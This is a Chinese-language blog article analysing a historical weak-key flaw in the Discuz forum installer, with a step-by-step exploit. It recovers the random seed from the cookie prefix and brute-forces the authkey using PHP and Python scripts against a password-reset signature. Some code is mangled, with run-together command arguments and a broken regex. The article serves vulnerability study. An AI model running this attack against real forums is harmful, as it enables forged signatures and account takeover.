Discuz历史漏洞分析(二)

本文涉及的产品
语种识别,语种识别 100万字符
图片翻译,图片翻译 100张
文本翻译,文本翻译 100万字符
简介: Discuz是非常受欢迎的论坛型CMS,但是近年来DZ也爆出了很多经典漏洞,以下分析了几个不同类型的DZ历史漏洞(SQL注入、XSS、任意文件删除、弱加密算法、任意代码执行、HTTP HOST攻击等),提高安全人员的安全意识。

3. 修复建议

删除相关代码。

详见Discuz码云:https://gitee.com/ComsenzDiscuz/DiscuzX/commit/7d603a197c2717ef1d7e9ba654cf72aa42d3e574

4. reference

1. http://www.freebuf.com/vuls/149904.html

2. https://www.seebug.org/vuldb/ssvid-96608

3. https://www.seebug.org/vuldb/ssvid-93588


三、 Discuz X3.3 authkey 生成算法的安全性漏洞

version: 3.3 / 3.2 / 2.5

0. 漏洞分析

dz3.3/upload/install/index.php 346行

$authkey = substr(md5($_SERVER['SERVER_ADDR'].$_SERVER['HTTP_USER_AGENT'].$dbhost.$dbuser.$dbpw.$dbname.$username.$password.$pconnect.substr($timestamp, 0, 6)), 8, 6).random(10);
        $_config['db'][1]['dbhost'] = $dbhost;
        $_config['db'][1]['dbname'] = $dbname;
        $_config['db'][1]['dbpw'] = $dbpw;
        $_config['db'][1]['dbuser'] = $dbuser;
        $_config['db'][1]['tablepre'] = $tablepre;
        $_config['admincp']['founder'] = (string)$uid;
        $_config['security']['authkey'] = $authkey;
        $_config['cookie']['cookiepre'] = random(4).'_';
        $_config['memory']['prefix'] = random(6).'_';

可以看到authkey是多个参数的md5前6位加上random生成的10位产生的。跟入random函数

function random($length){
    $hash='';
    $chars='ABCDEFGHIGKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyz';
    $max = strlen($chars)-1;
    PHP_VERSION < '4.2.0' && mt_srand((double)microtime()*1000000);
    for($i = 0; $i < $length; $i++){
        $hash .= $chars[mt_rand(0, $max)];
    }
    return $hash;
}

看到,当php版本大4.2.0时,随机数种子不会改变看到生成authkey之后,使用random函数生成了4位cookie前缀 $_config['cookie']['cookiepre']=random(4).'_';那么这4位cookie前缀就是我们可以得到的,那我们就可以使用字符集加上4位已知字符,爆破随机数种子。

思路:

通过已知的4位,算出random使用的种子,进而得到authkey的后10位。那剩下的就需要搞定前6位,根据其生成算法,只号选择爆破的方式,由于数量太大,就一定要选择一个本地爆破的方法(即使用到authkey而且加密后的结果时已知的)。

在调用authcode函数很多的地方都可以进行校验,在这里使用找回密码链接中的id和sign参数:

sign生成的方法如下:

function dsign($str, $length = 16){
    return substr(md5($str.getglobal('config/security/authkey')), 0, ($length ? max(8, $length) : 16));
}

爆破authkey的流程:

1.通过cookie前缀爆破随机数的seed。使用phpmtseed工具。

2.用seed生成random(10),得到所有可能的authkey后缀。

3.给自己的账号发送一封找回密码邮件,取出找回密码链接。

4.用生成的后缀爆破前6位,范围是 0x000000-0xffffff,和找回密码url拼接后做MD5求出sign。

5.将求出的sign和找回密码链接中的sign对比,相等即停止,获取当前的authkey。

1. 利用过程

1.首先获得4位字符 sVsZ

40.png


2.然后通过脚本生成用于 php_mt_seed的参数


# -*- coding: utf-8 -*-
w_len = 10
result = ""
str_list = "ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyz"
length = len(str_list)
for i in xrange(w_len):
   result+="0 "
   result+=str(length-1)
   result+=" "
   result+="0 "
   result+=str(length-1)
   result+=" "
sstr = "sVsZ"
for i in sstr:
   result+=str(str_list.index(i))
   result+=" "
   result+=str(str_list.index(i))
   result+=" "
   result+="0 "
   result+=str(length-1)
   result+=" "
print result
------输出------
0 61 0 61 0 61 0 61 0 61 0 61 0 61 0 61 0 61 0 61 0 61 0 61 0 61 0 61 0 61 0 61 0 61 0 61 0 61 0 61 54 54 0 61 21 21 0 61 54 54 0 61 25 25 0 61

得到参数,使用phpmtseed脚本

./php_mt_seed0610610610610610610610610610610610610610610610610610610610615454061212106154540612525061>result.txt

这里获得了245组种子,接下来使用随机数种子生成随机字符串

<?php
function random($length) {
   $hash = '';
   $chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyz';
   $max = strlen($chars) - 1;
   PHP_VERSION < '4.2.0' && mt_srand((double)microtime() * 1000000);
   for($i = 0; $i < $length; $i++) {
       $hash .= $chars[mt_rand(0, $max)];
   }
   return $hash;
}
$fp = fopen('result.txt', 'rb');
$fp2 = fopen('result2.txt', 'wb');
while(!feof($fp)){
   $b = fgets($fp, 4096);
   if(preg_match("/seed = (d)+/", $b, $matach)){
       $m = $matach[0];
   }else{
       continue;
   }
   // var_dump(substr($m,7));
   mt_srand(substr($m,7));
   fwrite($fp2, random(10)."
");
}
fclose($fp);
fclose($fp2);


当我们获得了所有的后缀时,我们需要配合爆破6位字符(0-9a-f)来验证authkey的正确性,由于数量差不多16*6200+,为了在有限的时间内爆出来,所以我们选择一个本地爆破方式。

这里我们使用找回密码中的id和sign参数,如下:

当我们点击忘记密码的时候,会进入 /source/module/member/member_lostpasswd.php65行用于验证sign的值:

$get_passwd_message = lang(
       'email',
       'get_passwd_message',
       array(
           'username' => $member['username'],
           'bbname' => $_G['setting']['bbname'],
           'siteurl' => $_G['siteurl'],
           'uid' => $member['uid'],
           'idstring' => $idstring,
           'clientip' => $_G['clientip'],
           'sign' => make_getpws_sign($member['uid'], $idstring),
       )
   );

跟随makegetpwssign函数进入 /source/function/function_member.php

1. function make_getpws_sign($uid, $idstring) {
2.    global $_G;
3.    $link = "{$_G['siteurl']}member.php?mod=getpasswd&uid={$uid}&id={$idstring}";
4.    return dsign($link);
5. }
然后进入dsign函数,配合authkey生成结果:
1. function dsign($str, $length = 16){
2.    return substr(md5($str.getglobal('config/security/authkey')), 0, ($length ? max(8, $length) :1 6));
3. }

这里我们可以用python模拟这个过程,然后通过找回密码获得uid、id、sign,爆破判断结果。

找回密码得到链接 <http://192.168.1.128:86/member.php?mod=getpasswd&uid=2&id=S9YzPy&sign=bc8e1a4c6b4cfb51

# coding=utf-8
import itertools
import hashlib
import time
def dsign(authkey):
   url = "http://127.0.0.1/dz3.3/"
   idstring = "vnY6nW"
   uid = 2
   uurl = "{}member.php?mod=getpasswd&uid={}&id={}".format(url, uid, idstring)
   url_md5 = hashlib.md5(uurl+authkey)
   return url_md5.hexdigest()[:16]
def main():
   sign = "af3b937d0132a06b"
   str_list = "0123456789abcdef"
   with open('result2.txt') as f:
       ranlist = [s[:-1] for s in f]
   s_list = sorted(set(ranlist), key=ranlist.index)
   r_list = itertools.product(str_list, repeat=6)
   print "[!] start running...."
   s_time = time.time()
   for j in r_list:
       for s in s_list:
           prefix = "".join(j)
           authkey = prefix + s
           # print dsign(authkey)
           if dsign(authkey) == sign:
               print "[*] found used time: " + str(time.time() - s_time)
               return "[*] authkey found: " + authkey
print main()

差不多一个小时就可以获得结果

相关文章
|
SQL Web App开发 安全
Discuz历史漏洞分析(一)
Discuz是非常受欢迎的论坛型CMS,但是近年来DZ也爆出了很多经典漏洞,以下分析了几个不同类型的DZ历史漏洞(SQL注入、XSS、任意文件删除、弱加密算法、任意代码执行、HTTP HOST攻击等),提高安全人员的安全意识。
Discuz历史漏洞分析(一)
|
存储 安全 API
Joomla 4.2.8 安全和漏洞修复发布
oomla 4.2.8 现在可用。这是 Joomla! 4.x 系列的安全版本!它解决了 Web 服务 API 中的一个严重安全漏洞。北京六翼信息技术有限公司强烈建议您立即更新您的网站。
Joomla 4.2.8 安全和漏洞修复发布
|
安全 PHP 缓存
网站漏洞修复之Discuz X3.4远程代码执行漏洞
近期在对discuz x3.4进行全面的网站渗透测试的时候,发现discuz多国语言版存在远程代码执行漏洞,该漏洞可导致论坛被直接上传webshell,直接远程获取管理员权限,linux服务器可以直接执行系统命令,危害性较大,关于该discuz漏洞的详情,我们来详细的分析看下。
5263 0
|
Web App开发 缓存 安全
Discuz历史漏洞分析(三)
Discuz是非常受欢迎的论坛型CMS,但是近年来DZ也爆出了很多经典漏洞,以下分析了几个不同类型的DZ历史漏洞(SQL注入、XSS、任意文件删除、弱加密算法、任意代码执行、HTTP HOST攻击等),提高安全人员的安全意识。
Discuz历史漏洞分析(三)
|
安全 Linux PHP
PrestaShop 网站漏洞详情与漏洞修复办法
PrestaShop网站的漏洞越来越多,该网站系统是很多外贸网站在使用的一个开源系统,从之前的1.0初始版本到现在的1.7版本,经历了多次的升级,系统使用的人也越来越多,国内使用该系统的外贸公司也很多,PrestaShop扩展性较高,模板也多,多种货币自由切换,并支持信用卡以及paypal支付,是外贸网站的首选。就在最近几天,PrestaShop被爆出有远程代码注入漏洞,该漏洞影响范围较光,危害较大,可以上传webshell到网站根目录下。
288 0
PrestaShop 网站漏洞详情与漏洞修复办法
|
安全 前端开发 Linux
Discuz3.4漏洞详情分析
Discuz!论坛目前最新版本为3.4版本,已经好久没有更新了,我们SINE安全在对其网站安全检测的同时发现一处漏洞,该漏洞可导致论坛的后台文件可以任意的删除,导致网站瘫痪,后台无法登陆。关于该网站漏洞的细节我们来详细的分析看一下:
667 0
Discuz3.4漏洞详情分析
|
SQL 安全 Linux
discuz网站漏洞修复X3.2 X3.4版本 SQL注入修复网站漏洞
2018年12月9日,国内某安全组织,对discuz X3.2 X3.4版本的漏洞进行了公开,这次漏洞影响范围较大,具体漏洞是discuz 的用户前段SQL注入与请求伪造漏洞,也俗称SSRF漏洞,漏洞产生的原因首先:php环境的版本大约PHP5.2,dizcuzX3.2 X3.4版本,服务器环境是windows 2008 2003 2012系统,linux centos不受此漏洞的影响。
611 0
discuz网站漏洞修复X3.2 X3.4版本 SQL注入修复网站漏洞
|
安全 数据库 数据安全/隐私保护
WordPress代码最新网站漏洞修复探讨
2020年,刚刚开始WordPress博客系统被网站安全检测出有插件绕过漏洞,该插件的开发公司,已升级了该插件并发布1.7版本,对以前爆出的漏洞进行了修补,该企业网站漏洞造成的原因是未经许可身份认证的普通用户给以了系统管理员权限。黑客能够以网站管理员的身份进行登陆,并可以将wp企业网站的全部数据表信息恢复为以前的模式,进而上传webshell企业网站木马代码来进行篡改企业网站。现阶段受危害的版本包含最新的WP系统。
217 0
WordPress代码最新网站漏洞修复探讨
|
安全 JavaScript PHP
如何对ecshop网站漏洞进行修复防止被入侵
ecshop目前最新版本为4.0,是国内开源的一套商城系统,很多外贸公司,以及电商平台都在使用,正因为使用的人数较多,很多攻击者都在挖掘该网站的漏洞,就在最近ecshop被爆出高危漏洞,该漏洞利用跨站伪造函数,来对网站数据库进行攻击。
425 0
如何对ecshop网站漏洞进行修复防止被入侵
|
SQL 安全 JavaScript
ecshop网站漏洞如何修复针对于外贸网站的漏洞修复
由于8月份的ECSHOP通杀漏洞被国内安全厂商爆出后,众多使用ecshop程序源码的用户大面积的受到了网站被篡改,最明显的就是外贸站点被跳转到一些仿冒的网站上去,导致在谷歌的用户订单量迅速下降,从百度,谷歌,360,以及搜狗等等进入到网站的用户直接被跳转到了一些赌bo网站上去,而且网站在各大引擎的收录的快照中的标题被篡改城一些与网站不相关的内容,如图:
151 0
ecshop网站漏洞如何修复针对于外贸网站的漏洞修复

热门文章

最新文章